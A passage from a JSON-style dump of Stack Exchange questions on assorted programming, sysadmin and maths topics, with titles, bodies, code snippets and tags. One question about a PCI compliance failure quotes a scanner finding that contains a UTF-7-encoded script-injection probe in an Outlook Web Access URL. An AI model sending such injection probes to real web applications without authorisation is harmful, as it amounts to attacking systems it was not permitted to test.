and start a new transaction for the remaining flow?\nThanks!\nRich\n", "", "java
spring jms integration transactionscope"], "1743637": ["Excel 2007 and Word 2007
are very slow when closing or opening a file", "I have a new PC with a fresh
install of Office 2007. This computer freezes randomly when I open or close an
Excel or Word file. It seems to freeze more often when the file is from a network
share.\nWhat happens is the following:\nI open an Excel file by double clicking.
Excel opens. It shows something in the statusbar like 'communicating \\...' some
share (where the file is stored). The the message disappears and
Excel is frozen. After a while (one minute, or more), the file is shown.\nSame
happens when I close a file. Excel just freezes. There's no high CPU, or high
memory usage.\nSome other websites suggested that this might have to do with
network printer drivers. I deleted all of them. I also disabled all addins. \nWhat
should I do to fix this?\n", "", "microsoft-word excel-2007 freeze performance"],
"926314": ["php singleton per object with distinct identifier", "This is something
I was thinking about the other day.\nI want to have a singleton-like object.
Instead of a single instance of a class, I want to have a single object with a
matching variable.\nFor instance.\nan existing employee object has a employee_id =
100\nthe getEmployee static method is called with employee_id = 100, i want to
return the already existing object with the matching employee_id or create it if it
does not exist.\ncan this be done?\nThanks\n", "", "php oop singleton"], "5255356":
["How to get the Slide number using java via Apache POI API", "How do I get the
number of slides in a file using java. To access the we require the Apache POI
API - especially the class.\nI'm using the method from here to retrieve the page
number but I'm still getting an error. I would like to know how to get the slide
numbers.\n\nIs this code correct? \nEdit: Here's the error I get in my console:\n\
n", ".ppt", "java android slideshow apache-poi slide"], "4465289": ["As a Europe-
based company, is it possible to write a custom iPad application for a customer?",
"Our customer wants us to write a custom application for him that he can use on a
handful of iPads in his company. This application is probably only useful for this
one customer (maybe for two or three more in the future, but only after additional
customization).\nI read that if the customer subscribes to Apple's Volume
Purchasing Program, we are able to provide him with a custom B2B application. This,
however, seems to be restricted to US developers (or customers? or both?).\nWhat
are the alternatives for Europe-based (or, more generally, non-US) software
developers and their local customers?\n", "", "iphone business deployment apple
ipad"], "3113476": ["Distinguishing outgoing and incoming connections in twisted",
"I'm working on a P2P application based on the Twisted framework. As such I can
have both incoming as well as outgoing connections. Is there a simple way to
distinguish them? Currently I just create another Factory that marks the connection
as outgoing and delegates all factory calls to the original factory, but there must
be a simpler way.\n\nAny thoughts?\n", "class
OutgoingProtocolFactory(MyProtocolFactory):\n \"\"\"\n A rather simple
factory that is used to earmark connections as outgoing.\n \"\"\"\n def
__init__(self, parentFactory):\n self.factory = parentFactory\n\n def
buildProtocol(self, addr):\n connection =
MyProtocolFactory.buildProtocol(self.factory, addr)\n connection.factory =
self.factory\n connection.incoming = False\n return connection\n\n
def clientConnectionFailed(self, connector, reason):\n
self.factory.clientConnectionFailed(connector, reason)\n\n def
clientConnectionLost(self, connector, reason):\n
self.factory.clientConnectionLost(connector, reason)\n", "python twisted"],
"3117733": ["Are applications written for iPhone binary compatible with iPod
Touch?", "Given that for instance no sms APIs are invoked. Say I would want to port
my 'notepad' app.\n", "", "iphone compatibility ipod-touch"], "5068556": ["Windows
7 (x64) memory usage climbs to 90%+ while system is idle?", "I have windows 7 with
4GB of RAM. When the system starts from a fresh boot I start with about 33% usage.
However, if I walk away with my PC idle for a few hours, or over night, my PC
typically climbs to the high 80s or even over 90% usage (once, it got as high as
98%!).\nThe biggest commit is usually SVCHost.exe at around 500MB. My sidebar.exe
process also tends to climb to about the same number.\nThis is a new development
since upgrading to Win7 SP1, and I'm not finding much info about it on the
internet. Has anyone else encountered this problem?\nEdit\nIt is causing severe
performance issues when I come back to the PC. I have to reboot to get the memory
back.\nEdit 2:\nTagged as \"service-pack\". This issue did not occur until SP1 was
installed, so I'm wondering if that may be the root cause.\n", "", "windows-7 64-
bit memory service-pack"], "1157718": ["Setting up a LAN connection in Windows",
"I'm looking to set up a LAN connection under Windows XP. \nWhat are the steps or
instructions I should follow to make this work?\n", "", "windows-xp connection
lan"], "2463869": ["Bitwise NOT in ruby", "I have a formula in JS that uses the
bitwise NOT operator.\n\nHow do I write the same expression in ruby? There is no
bitwise NOT operator in ruby.\n", "~~(n/m + 0.5) * m;\n", "javascript ruby math
operators"], "3289747": ["ClickOnce running in downloaded context when opened in
vanilla firefox (unsurprisingly)", "I want to use ClickOnce to install my
application, and this works very well if I have the firefox addon installed.
However, if I don't, I still want to be able to install the program.\nWhen I click
my app.application link, it downloads the file, and asks me to run it. If I do, it
tells me that the deployment and application manifest are in different security
zones. I'm thinking that this is because my file is downloaded.\nIf I install it
using the addon or with IE, I instead get another error when I try to run it later
with vanilla firefox. It complains that the application cannot be run from c:\\
DownloadDir\\app.application, but from http://myserv/app.application.\nDoes anyone
know how to solve these two problems?\n", "", "firefox clickonce"], "646637":
[".htaccess url rewrite", "I want to rewrite a URL.\nLet's say you visit
http://files.domain.com/uploads/file_name.jpg\nHow can I use htaccess to write it
so I can access it via http://files.domain.com/file_name.jpg?\nThanks.\n", "",
".htaccess mod-rewrite"], "2163086": ["Windows 7 PC connected to 2.4 Ghz band does
not recognize other computers on the network", "My current setup is as follows:\n\
n1 Cisco E3000 Dual Band Wireless N router\n3 Windows 7 PCs. Two of these are
hooked up via ethernet, and the\n3rd is using the 2.4 Ghz band on the wireless
router.\n\nCurrently the PC that is using the wireless has a Intel Wifi Link 1000
BGN that only operates in the 2.4 Ghz spectrum. Initially I was able to get all 3
PCs on the same home group and was able to transfer files, etc. successfully. \
nHowever at some point this stopped working (not sure what/if anything caused
this). The 2 PCs on ethernet are still able to see each other, but the PC on the
wireless is unable to see anything. I cannot even ping either of the other
machines. I did note as well that if I put one of the PCs that is currently on
ethernet on the wireless (5Ghz) it is still able to see the other PCs.
Unfortunately that PC is unable to connect to the 2.4 GHz spectrum so I am unable
to test if it could see the problem PC if I had them on the same spectrum.\nThe 2.4
GHz wireless PC can still get to the Internet with no issues, but it is almost like
I have two local area networks, one for the 2.4 GHz wireless PC and one for the
other two PCs (whether they use Ethernet or the GHz) \nAny thoughts on how to get
the PC on the 2.4 GHz wireless back on the same network?\n", "", "windows-7
networking wireless-networking dual-band"], "4438736": ["Problems using libpng in
iPhone project", "I am trying to add libpng to my iPhone project. \nI copied the .c
and .h files to their own directory \"thirdparty/libpng/\" and I included png.h in
my texture class:\n\nAt this point my project compiles great with no warnings and
errors.\nNext I tried adding a function to check if a texture is a png, and I get a
compile error on png_sig_cmp, even though png.h is included:\n\nThe error I get is:
No matching function for call to 'png_sig_cmp'\nThe header is definitely getting
included. If I try to type something random in it like \"sdfdd\" I get a compile
error, showing it is parsing that header file.\nAny ideas?\n", "#ifndef PNG_H\n
#include \"thirdparty/libpng/png.h\"\n#endif\n", "iphone xcode libpng"], "852373":
["Show User Their Password", "I've got a few automated scripts that run to notify
users of certain updates to the application, etc... and for one in particular, I
need to be able to display the users and their password.\nHow do I show the user
their password if it's encrypted?\n", "user_login", "custom-field users user-meta
password"], "5975577": ["How to create progress bar in html5, phonegap and jquery",
"I am creating a web app for android using html5, phonegap and jquery mobile. What
I want to do is create a progress bar while running a function that inserts sql to
database, informing the client how many has been done and how much is there left.\
nCan you please direct me how to start this? I already have the functions to
connect and insert data to sql.\nmany thanks.\n", "", "android sql html5
phonegap"], "2721775": ["Pickle+gzip - how to utilise multiple cores?", "I am using
simple function to restore state before starting work:\n\nThe problem is that
restoring state is the bottleneck for my application. Is there any simple way to
tell gzip/pickle combination to utilise multiprocessing?\nOf course, I can always
split the data structure and read it from multiple files on multiple cores but I
would rather see if there is more clever way to do it.\nLast bit of information -
the data being restored is a large pandas DataFrame.\n", "import pickle, gzip\ndef
load(filename):\n \"\"\"Loads a compressed object from disk\n \"\"\"\n
file = gzip.GzipFile(filename, 'rb')\n return pickle.load(file) \
nrecords_df =
load(\"records_all_in_one.gzp\")\n", "python gzip pickle"], "4013372": ["SMTP
authentication error using PHPMailer", "I am using PHPMailer to send a basic form
to an email address but I get the following error:\nSMTP Error: Could not
authenticate. Message could not be sent.\nMailer Error: SMTP Error: Could not
authenticate.\nSMTP server error: VXNlcm5hbWU6\nThe weird thing is that if I try to
send it again, IT WORKS! Every time I submit the form after that first error it
works. But if I leave it for a few minutes and then try again I get the same error
again.\nThe username and password have to be right as sometimes it works fine. I
even created the following (very basic) script just to test it and I got the same
result\n\nI don't think this is relevant, but I just changed my hosting to a Linux
shared server. Any idea why this is happening?\nThanks!\n***UPDATED 02/06/2012\
nI've been doing some tests. The results:\nI tested the script in an IIS server and
it worked fine. The error seems to happen only in the Linux server.\nAlso, if I use
the gmail mail server it works fine in both, IIS and Linux.\nCould it be a problem
with the configuration of my Linux server??\n***UPDATE 2\nI tried swiftmail and it
works fine :-) so I am dumping PHPMailer\n",
"<?php\n\nrequire(\"phpmailer/class.phpmailer.php\");\n\n$mail = new PHPMailer();\
n\n$mail->IsSMTP();\n$mail->Host = \"smtp.host.com\";\n$mail->SMTPAuth = true;\
n$mail->Username = \"[email protected]\";\n$mail->Password = \"password\";\n\n$mail-
>From = \"[email protected]\";\n$mail->FromName = \"From Name\";\n$mail-
>AddAddress(\"[email protected]\");\n$mail->AddReplyTo(\"[email protected]\");\n\n$mail-
>IsHTML(true); \n\n$mail->Subject = \"Here is the subject\";\n$mail->Body
= \"This is the HTML message body <b>in bold!</b>\";\n$mail->AltBody = \"This is
the body in plain text for non-HTML mail clients\";\n\nif(!$mail->Send())\n{\n
echo \"Message could not be sent. <p>\";\n echo \"Mailer Error: \" . $mail-
>ErrorInfo;\n exit;\n}\n\necho \"Message has been sent\";\n\n?>\n",
"authentication smtp"], "2815631": ["What does UA in BIF_UAHINT means?", "Here it
is and i have no idea what UA in BIF_UAHINT stand for.\n\nBIF_UAHINT = BROWSEINFO
Flag for WHAT HERE? Hint\n\nUA as acronym for Usage sounds rather wacky, and i
cannot think out no better meaning than User Agent, which sounds ridiculous in the
context too.\n", "", "windows winapi language-agnostic"], "5660713": ["custom pager
return for jquery cycle using Modulus", "Trying to get this custom pager to work
for jQuery Cycle.\nI want the to return a item every 5 images so later on I can
turn the pager into it's own cycle.\nHere's the code:\n\nSo in the end I want Cycle
to return this:\n\nPlease disregard the and the class values from the HTML string
return in the JS, I have that under control. I can't figure this out even after 2
hours of searching.\nThanks in advance!\n", "pagerAnchorBuilder", "javascript
jquery operators cycle modulus"], "2799517": ["Using Eigen Library in Netbeans", "I
am using Eigen library in C++. According to Eigen documentation:\n\nIn order to use
Eigen, you just need to download and extract Eigen's\n source code (see the wiki
for download instructions). In fact, the\n header files in the Eigen subdirectory
are the only files required to\n compile programs using Eigen. The header files
are the same for all\n platforms. It is not necessary to use CMake or install
anything.\n\nSo in Netbeans I added the directory of Eigen into the \"include
directories\". Then I used a simple program as below (which is provided in Eigen
documentation):\n\nNetbeans draws a red underline for colPivHouseholderQr()
method!! In addition I can not see the colPivHouseholderQr() method under methods
that can be called on object A.\nSurprisingly, everything works fine and the
program compiles and runs correctly although I have red underline for
colPivHouseholderQr() !!\nWhat can be wrong with my configurations ??\n\n",
"#include <iostream>\n#include <Eigen/Dense>\n\nusing namespace std;\nusing
namespace Eigen;\n\nint main()\n{\n Matrix3f A;\n Vector3f b;\n A << 1,2,3,
4,5,6, 7,8,10;\n b << 3, 3, 4;\n cout << \"Here is the matrix A:\\n\" << A <<
endl;\n cout << \"Here is the vector b:\\n\" << b << endl;\n Vector3f x =
A.colPivHouseholderQr().solve(b);\n cout << \"The solution is:\\n\" << x <<
endl;\n}\n", "c++ netbeans eigen"], "2796734": ["There is a django option for
moodle?", "There is a plataform like moodle made in django or some kind of
interface django/moodle?\n", "", "php django"], "3974301": ["Positioning content in
a CALayer", "How do I position content in a CALayer so that it scales to fit the
width (preserving aspect ratio) and is positioned at the top of the layer?\nMore
specifically, I'm trying to achieve this positioning with an
AVCaptureVideoPreviewLayer. If I set the preview layer's videoGravity to
AVLayerVideoGravityResizeAspectFill then it fills the width but centers the content
vertically in the frame (cutting off the top and bottom).\n", "", "ios objective-c
calayer avcapture"], "5944959": ["Free implementation of Elgamal", "I'm looking for
free implementations of the Elgamal encryption algorithm. As far as I can see,
even though it's a widely known algorithm, there seems to be only two free
implementations:\n\nlibgcrypt supports Elgamal encryption\npycrypt has Elgamal\n\
nOpenSSL, beecrypt, Nettle do not implement Elgamal.\nAre there any other free and
well-tested Elgamal implementation that's missing from the list?\n", "", "open-
source public-key-encryption elgamal"], "4200511": ["Calculating physical to usable
storage for Open-stack Swift/Object Storage", "Is there any calculation for
figuring out the corralation between physical (disk) storage and the amount of
usable storage available to OpenStack?\nI know it's not 1:1 as OpenStack duplicates
data but does that make it 1:2?\nAs an example, in our planned infrastructure we
will have 4 OpenStack servers each with 12x2TB hard drives (24TB per server so in
total 96TB storage, the servers will also have 40GB SSDs for the OS) how much
storage in OpenStack does that give me?\n", "", "storage open stack"], "4065520":
["Jungledisk for backing up my Wiki and Drupal sites?", "Hi would you guys suggest
that I ask my webhost to install Jungledisk so that my backups would be stored to
Amazon S3 as well? Do you guys know a better solution?\nThanks in advace!\n", "",
"backup web-hosting amazon-s3"], "5370028": ["\"user-select: none\" and strange
behaviour in Firefox", "I am trying to prevent text highlighting in Firefox for
some, but not all elements on the page. Consider the following:\n\nAs I understand
it, using the above css rules, the text of the inner div should be highlightable.
However this does not appear to work. In practice none of the text can be
highlighted.\nI am wondering if I am doing something wrong? If not, does anyone
know of a workaround for this situation?\nThanks!\nps I should add that using the
alternate...\n\n...in the above example works just fine in webkit browsers\n",
"<div style=\"-moz-user-select: none;\">\nI cannot be highlighted\n <div
style=\"-moz-user-select: text;\">\n I should be highlightable, but am not.\n
</div>\n</div>\n", "javascript css firefox formatting stylesheet"], "5136963":
["Consider special charecter into .csv File", "I am working on application, in it I
have to consider all special characters.I am using below code but in it I also
want to consider \"space and comma\" but in it, when trigger space it make split at
that place and make new fild for it..so friends is there any solutions to consider
special characters.If you have any idea then please suggest me.Thanks\n\n", "
arrCsv=[[NSArray alloc]initWithObjects:@\"Hello\",@\"Hi\",@\"traun
testdata\",@\"Hi,fine\",nil];\nNSArray *paths =
NSSearchPathForDirectoriesInDomains\n\n(NSDocumentDirectory, NSUserDomainMask,
YES);\n\nNSString *documentsDirectory = [paths objectAtIndex:0];\n\nNSString
*fileName = [NSString stringWithFormat:@\"%@/try.csv\", documentsDirectory];\n\n\
n[[arrCsv componentsJoinedByString:@\",\"] writeToFile:fileName atomically:YES
encoding:NSUTF8StringEncoding error:NULL];\n", "iphone ios csv"], "2970372":
["Conflicts between ACLs and umask", "I have a directory which can be read and
written by a couple of unix groups. This is achieved by using ACLs. Let's assume I
did it like this:\n\nmkdir /tmp/test\nsetfacl -m g:group1:rwx /tmp/test\nsetfacl -d
-m g:group1:rwx /tmp/test\n\nWorks great, the whole group (And other groups I add
like this) can read/write to this directory. BUT there is one exception: When
someone creates a subfolder by using \"mkdir -p\" then this directory is created
with the unix permissions 0755 because the default umask is 022. This results in
the problem that other users of the group can no longer write to this subfolder
because the ACL now looks like this:\ngroup:group1:rwx #effective:r-x\
nFor some reason this doesn't happen when using \"mkdir\" (Without -p argument).
One solution is setting the umask to 002 but this is really a bad thing because
this also affects files and directories created outside of the ACL-controlled
directories and these files should not be group writable per default.\nSo I wonder
if there is another possibility to solve this problem. It would be perfect to be
able to completely disable/ignore the old unix-style permission stuff for a ACL-
controlled directory. Or disable this \"effective ACL\" stuff. Is that possible? Or
is there another way to solve the problem with unwritable directories caused by
programs like \"mkdir -p\"? In the end I want a directory which is completely (and
recursively) readable and writable according to the ACLs I have configured and this
should never change (Only by modifying the ACLs itself).\n", "", "linux acl chmod
umask"], "3474560": ["How
do I code a button to start out greyed out and disabled until an imageview is
populated?", "I want to have a button greyed out until the user populates an
imageview with a desired image from their phone's gallery. How would I code this
to have the button's default state to be greyed out (and disabled) but once an
image is showing in the imageview, the button is enabled and no longer greyed-out
to the user?\n", "", "java android button imageview"], "2797028": ["DataGrid Rows'
Foreground color for selected item", "I have a RowStyle defined for my DataGrid to
change the Foreground color to red for items in my grid that have a rejected status
or Reject_X or Reject_Y:\n\nThis style works fine except the selected item's
foreground color is black not red. So, I need to know how to style the selected
item so that the Foreground color is also red. I.e.\nif the item is selected AND
the status equals Reject_X or Reject_Y then set Foreground to Red.\n", "
<Style TargetType=\"DataGridRow\">\n <Style.Triggers>\n
<DataTrigger Binding=\"{Binding Status}\" Value=\"{x:Static
StatusTypes:Status.Reject_X}\">\n <Setter
Property=\"Foreground\" Value=\"Red\"/>\n </DataTrigger>\n
<DataTrigger Binding=\"{Binding Status}\" Value=\"{x:Static
StatusTypes:Status.Reject_Y}\">\n <Setter
Property=\"Foreground\" Value=\"Red\"/>\n </DataTrigger>\n
</Style.Triggers>\n </Style>\n", "wpf wpfdatagrid"], "5310611": ["Im
need some kinda help..... a script..... that can do the following", "suppose i
input a pattern like AAAABBCCC ..... \nthen the script should print like T1 0 A-4
B-2 C-3 0 T1\nwhere T1 is tap and 0 indicates next line......\nif patern is like
AAABBCC \n CABCCBA \nthen the script should generate a pattern T1
0 A-3 B-2 C-2 0 T1 \n 0 C A B C-2 B A 0
T1 # should start with T1 and end with T1.... and only one T1 is allowed in
between patterns......\nIm new to TCL, please help.....\n", "", "tcl"], "4043169":
["Numerical approximation of an integral", "I read a problem to determine the
integral $\\int_1^{100}x^xdx$ with error at most 5% from the book \"Which way did
the bicycle go\". I was a bit disappointed to read the solution which used computer
or calculator. I was wondering whether there is a solution to the problem which
does not use computers or calculators. In particular, is there way to prove that
the solution given in the book has a mistake because it claims that\n$$\\
frac{99^{99}-1}{1+\\ln 99}+\\frac{100^{100}-99^{99}}{1+\\ln 100}\\leq \\
int_1^{100}x^xdx$$\ngives a bound $1.78408\\cdot 10^{199}\\leq \\int_1^{100}x^xdx$
but I think the LHS should be $1.78407\\cdot 10^{199}\\leq \\int_1^{100}x^xdx$? I
checked this by Sage and Wolfram Alpha but I was unable to do it by pen and paper.\
n", "", "numerical-methods"], "4206964": ["Modification of pre-commit hook script",
"I have a script like this\n\nIf I have to track only cpp files from svnlook and
throw error if condition fails,what else I should add with this script ? ) grep and
find logic doesn't work** \n", "#!/bin/sh\nREPOS=\u201d$1\"\nTXN=\u201d$2\"\n# Make
sure that the log message contains some text.\nSVNLOOK=/usr/local/bin/svnlook\
n$SVNLOOK log -t \u201c$TXN\u201d \u201c$REPOS\u201d | grep \u201c[A-z a-z]\u201d
&& exit 0\necho \u201cPlease write a log message describing the purpose of your
changes and then try c \nommitting again.\u201d 1>&2\nexit 1\n", "svn
tortoisesvn"], "133533": ["SDL C++ Frame Rate Counter?", "How do I make a frame
rate counter in C++ & SDL, I know it's something to do with a timer, but how would
I go about doing so?\n", "", "c++ timer sdl counter frame-rate"], "2149314":
["Finding conjugacy classes of $PGL_{2}(\\mathbb{F}_{q})$", "Assume $q$ is odd. How
does one go about finding the conjugacy classes of $PGL_{2}(\\mathbb{F}_{q})$? I
know that for $GL_{2}(\\mathbb{F}_{q})$, one can consider the possible Jordan
Normal Forms of the matrices and with some luck, choose representatives whose
conjugacy class is large enough such that when I sum all the conjugacy class sizes
I get the whole group.\n", "", "linear-algebra abstract-algebra group-theory
matrices"], "2379208": ["Blind SQL Injection PCI failure", "I am working on a
client's PCI compliance. One of the failing items is:\n3.1.4. Blind SQL Injection
(httpgenericscriptblindsqlinjection)\nThe offered solutions is simply:\n\"Ensure
that the Web application validates and encodes user input before using it in a SQL
query.\"\nIt appears to be related to OWA as it sites:\n\"Found blind SQL injection
on http:///owa/?P=+ADwscript+ AD4alert(42)+ADw/ script+AD4 using method GET\"\nDoes
anyone know how to fix this particular issue?\n", "", "exchange-2010 sql pci-dss
sbs2011"], "5129836": ["Question on Federated Authentication using Windows Identity
Foundation", "I am developing an Asp.Net MVC website using Windows Identity
Foundation and STS website for authentication. it works fine as whenever a user
tries to access a URL, it redirects to STS website if that session is not
authenticated.\nNow I want to add a page in the application which should be
available without authenticating into the site. But I am unable to do that. I tried
giving the following in web.config. Still it gets redirected to the STS website.
Here i want to allow anonymous access to \"Public\" controller and all its
actions.\n\n\nIt will be great if somebody can guide me with the solution. \
nThanks\n", "<location path=\"Public\">\n<system.web>\n <authorization>\n
<allow users=\"*\" />\n </authorization>\n</system.web>\n", ".net asp.net asp.net-
mvc security wif"], "3644503": ["Core Graphics - What is the appropriate way to
create an RGB colorspace?", "Apple Says:\n\"If your application runs in iOS or in
Mac OS X v10.4 and later, you can use device-independent color spaces or generic
color spaces.\"\nSo that means I am to use CGColorSpaceCreateWithName(...) and not
CGColorSpaceCreateDeviceRGB(...) because the latter is deprecated. However, in
this post on stackoverflow, it's said that the generic color space is deprecated.
What's the right answer?\n", "", "objective-c cocoa core-graphics"], "2732146":
["How to call script at runtime?", "I want to execute script in BodyContent of
Dialog Box,But below code is not working.\nIt is not generating alert in IE8, Is
there any way to load script at runtime in dialogBox\n\nAny help will be
appreciated\nThanks\n", "AUI().ready('aui-dialog', 'aui-overlay-manager', 'dd-
constrain', function(A) { \n var instance = new A.Dialog({ \n
headerContent: \"Title\",\n bodyContent: \"<script
type='text/javascript'>alert('hello');</script>\", \n centered: true, \n
close: true, \n constrain2view: true, \n destroyOnClose: true, \n
render: false, \n draggable: true, \n modal: true, \n
height: height, \n resizable: false, \n stack: true, \n
width: width\n });\n", "javascript script dialog liferay alloy-ui"],
"3279997": ["How to best debug JDBC connection leaks on Glassfish v2?", "Does
anyone have any good tips on debugging connection leaks on GlassFish? \nI am
currently debugging a GlassFish server which contains an application that has
memory leaks sporadically, eventually leading to having to restart the server to
free the pool (pool purging is only available in Glassfish 3 I was told).\nWhen I
debug these kinds of errors today I look through the server log around the time
when I can see that our monitoring has reported that the pool has grown and see if
there is any interesting errors or similar around this point. \nDoes anyone have
any better ways of debugging problems like these? \nAll the applications are
EJB/EAR's which use annotation to inject datasources. The applications then use the
datasource to get a connection. Ofcourse every connection is supposed to be closed
by the programmers, but I guess someone has forgot it in a case here. \n", "",
"glassfish jdbc"], "5627254": ["css, html help : float left and right, cutting off
background to expand past div", "I have a div floating left and a div floating
right, and I would like to have a background-color changed. It changes the
background, but it stops right before the floating divs. When I take them off, it
continues having the correct background color that I desire.\n\nthank you!\n",
"<div style='clear:both;border-bottom:3px solid #999;border-top:#333 solid
thin;background:#D7E7E8;position:relative;'>\n <div style='width:1091px;margin:0
auto;margin-top:70px;'>\n <div style='float:left;width:200px;border:thin
solid black;margin-bottom:50px;position:relative;'>\n float LEFT\n
</div>\n <div style='float:right;border:thin solid black;
width:800px;border:thin solid black;margin-bottom:50px;position:relative;'>\n
float RIGHT\n </div>\n </div>\n</div>\n", "html css div css-float
background-color"], "1820702": ["PC doesn't recognize my PCI-E graphic card
anymore", "I've been using an Ati HD4670 graphic card mounted on an Asus M2NPV-VM
mobo for months. One month ago PC started switching off about 1 minute after
booting. So I removed the graphic card and reactivated the onboard integrated
graphics: PC worked like a charm. \nRecently I tried another graphic card (Ati
HD4350) on the same PC, but mobo didn't recognize it either (BIOS is set to give
priority on PCI-E card... so it should work...)\nAny suggestion? Is it possible the
PCI-E slot has broken, but all the rest is still working?\nThx\n", "", "motherboard
pci-express"], "5147950": ["Can one use functions that call \"test\" in bash if
statements?", "To make my scripts more readable I would like to put the tests of
my if-then-else-fi statements in a function, such as the example below:\n\nIs this
possible in bash and if so how does one do it correctly ???\n", "#!/bin/bash\n\
nfunction isFileUnderVersionControl() {\n test $( svn info \"$1\" 2>1 1>/dev/null;
echo $? ) -eq 1\n}\n\n\nif isFileUnderVersionControl \"$1\"\n then\n echo \"is
under version control\n else\n echo \"is not under version control\"\nfi\n",
"bash function shell testing if-statement"], "4923441": ["How to compile c code
with fattach()", "I'm trying to write a program that uses fattach but the compiler
says fattach not implemented. I have included the header file stropts.h. what
should I do?\n", "", "c compilation"], "5642363": ["A clean system for github pages
with local plugins", "Since github doesn't execute (the option for jekyll)
plugins, I am trying to develop a small and clean way to deploy the compiled files
to the branch .\nThe usual source is in the branch , from there I run jekyll and
generate the code, everything works.\nIn the master branch I only have the
following \n\nand the file (I'm using the subtree command from here)\nHowever this
does not work. It generates the branch with all the code, but when I merge into ,
all it says is:\n\nAlready up-to-date.\n\nHow to fix this?\nWhat I want to
accomplish is to overwrite any existing files in BUT not delete the files which
don't exist in branch (like the aforementioned and , which is important to be
kept there).\nNote: I want to do it from scratch in order to maintain control over
the deployment process. I don't want to 1. introduce new dependencies 2. use other
tools.\n", "safe", "git github"], "4021422": ["What aspects of ThreadX make it a
realtime OS?", "ThreadX is considered a RTOS.\nI know general definitions and
requirements of an RTOS, however, could anyone help to shed some light on why
ThreadX can be called an RTOS, or, what features of the OS make it realtime
capable?\nThanks~\n", "", "operating-system real-time"], "3991278": ["Randomize
external RSS feed order in PHP", "I'm using a third-party AJAX slideshow for a
website that takes an RSS feed as its picture source. I would like to randomize
the order of the pictures, but that's not a feature of the slideshow (or the RSS
feed I'm pulling from).\nSurely it shouldn't be difficult to write a short function
in PHP that takes an external RSS feed, randomizes the items and re-publishes the
same feed 'out of order'. I just can't seem to make it work.\n", "", "php rss
random parsing feed"], "1714353": ["WPF Combobox auto complete/intellisense case
sensitivity", "I am writing a WPF app that has a combo box in it that is populated
with a list of names. The problem I face is that the auto complete/intellisense
feature ignores case sensitivity. Is there a property in the control or a work
around to enable case sensitivity on the auto complete/intellisense.\n", "", "wpf
combobox autocomplete intellisense"], "3215544": ["How to set symfony 1.x date
format in text box of existing object?", "I have a symfony 1.4 form and in it I
have a single text box with a datetime string. \nI am using jQuery's
datetimepicker to simplify date entry instead of having 5 selects.\nI already have
defaulting the datetime string correct, but I'm not sure how to format the datetime
string when I am updating an object. The string comes back as the default
formatting (YYYY-mm-dd HH:ii:ss).\nWhat is the proper way to format existing
datetime strings for a symfony textbox?\n", "", "php forms formatting symfony-
1.4"], "5034624": ["Import data from HDFS to HBase (cdh3u2)", "I have Installed
hadoop and hbase cdh3u2. In hadoop i have a file at the path . it has the data
like\n\nI want to import this file into hbase. in that, the first field should
parsed as String, and 2nd field parsed as integer, and then it should pushed into
hbase. Help me to do this\naThanks in dvance....\n", "/home/file.txt", "hadoop
hbase hdfs cloudera sqoop"], "4562162": ["Windows cannot enter very low-res video
mode with modern graphics cards/drivers", "I have a bunch of Windows 32-bit
fullscreen EXEs that were compiled for the Windows XP era and use some version of
DirectX for settings the graphics mode: 320x240x8. It is hardcoded, native (not
faked in any way), and the binaries cannot be touched, recompiled or modified in
any way (don't ask).\nI'm trying to get these to run on Windows 7 and later (it
doesn't even run on XP without the right card and driver, just to clear up any
confusion). They only run if the video card and its driver specifically supports
this mode, which is extremely rare, regardless of whether it's run on XP or 7.\nI
have been on this problem for a long time, asking experts for help numerous times
and getting all kinds of potential solution, which I've tried one by one. Each of
them fail with the same error: can't set video mode. The problem is always that it
cannot set the video mode. The obvious solution is that it cannot attempt to set
the video mode, because it is not supported. So I need some kind of small EXE that
I can bundle with these EXEs and which can be set up to \"wrap around\" it and fool
it into thinking that it's actually set the mode, whereas it's actually running in
some kind of emulated video window.\nI have tried \"Wine on Windows\", various
utilities that \"change the resolution\", running it inside a VM, compatibility
settings, etc. Just about anything you immediately think of. Nothing works at all.
But the VM thing wouldn't be good even if it did work, because this has to
be \"distributable\" as well.\nCan anyone help me? Is this even possible to solve
at all? It seems so bizarre that it's not possible to \"trick\" the programs into
thinking that they actually did get to set the video mode.\nI hope that a true
expert will be able to come up with some solution.\n", "", "windows video directx
fullscreen drivers"], "2732798": ["TCL - find a regular pattern in a file and
return the occurrence and number of occurrences", "I am writing a code to grep a
pattern from a file, and output that regular expression and the number of times it
has occured.\nHere is the code: I am trying to find the pattern \"grep\" in my file
hello.txt:\n\nOutput that I got:\n\n", "regular expression", "tcl"], "1145644":
["Why do I get error 401 when I post a json array", "Python's : Why do I get error
401 when I post a json array to a url?\nI used python 2.7. Following is the error
message I got:\n\nThe python code is as below:\n\n", "urllib2", "python json
python-2.7 urllib2"], "1798430": ["Displaying BLOB image with other content",
"Firstly this is for a simple university project, so time is more important than
performance of database etc.\nI have a database with images stored in blob files.
Now some form outputs data from this database, but i want it to also output the
image, along with the text.\nI realise there is a bit of code to change headers to
image, but then the text wont display, so is there a way to display the image and
the text on the same page?\nthanks a lot,\n", "", "php mysql html header blob"],
"2169567": ["why is Outlook 2007 continuously losing Connection to Exchange
Server", "what could be the reason for Outlook 2007 continously losing and
reestablishing the connection to exchange?\nI tried disabling all anti-viruses and
firewalls but it did not help.\nI should mention that even though this seems to
happen to all users, some users cannot even send emails because it happens every
few seconds while others can work relatively undisturbed (it happens a few times
per hour).\n", "", "exchange outlook"], "2207330": ["Mono Develop debugger crashes
when passing 2d array to function", "I'm having problems with debugging mono
applications, using mono develop. When I'm trying to debug code inside a function
that gets 2d array as a parameter, debugger crashes.\nFor example then debugger
steps inside Test function:\n\nI'm getting assertion error:\n\nException in
callback: System.Reflection.TargetInvocationException: Exception has been thrown by
the target of an invocation. ---> System.IndexOutOfRangeException: Index Was
outside the bounds of array.\n\nIs there something I'm doing wrong with my code, or
is there something wrong with mono/monodevelop?\nEDIT: Yes, this code is only an
example; I was trying to narrow down the problem.\n", "float[,] b = new
float[4,4];\nTest(b);\n\nstatic void Test(float[,] x)\n{\n float[,] y = x;\n}\
n", "c# multidimensional-array mono monodevelop"], "3451234": ["Why are connections
between two units on same switch routed through external gateway?", "I have two
units (a computer and a nas) connected to the same switch, both with external ips.
Why are connections between them routed through the external gateway? Shouldn't the
switch route them directly?\n", "", "networking routing switch"], "5116426":
["editing excel chart data range by c#", "I'm trying to create an excel scatter
chart using Microsoft.Office.Interop.Excel. \nI have 2 data ranges\n\nfor 2 sets of
points. \"A\" column specifies x coordinates and \"B\" column specifies y
coordinates.\nWhen I create chart this way:\n\nI get 4 sets of points with x
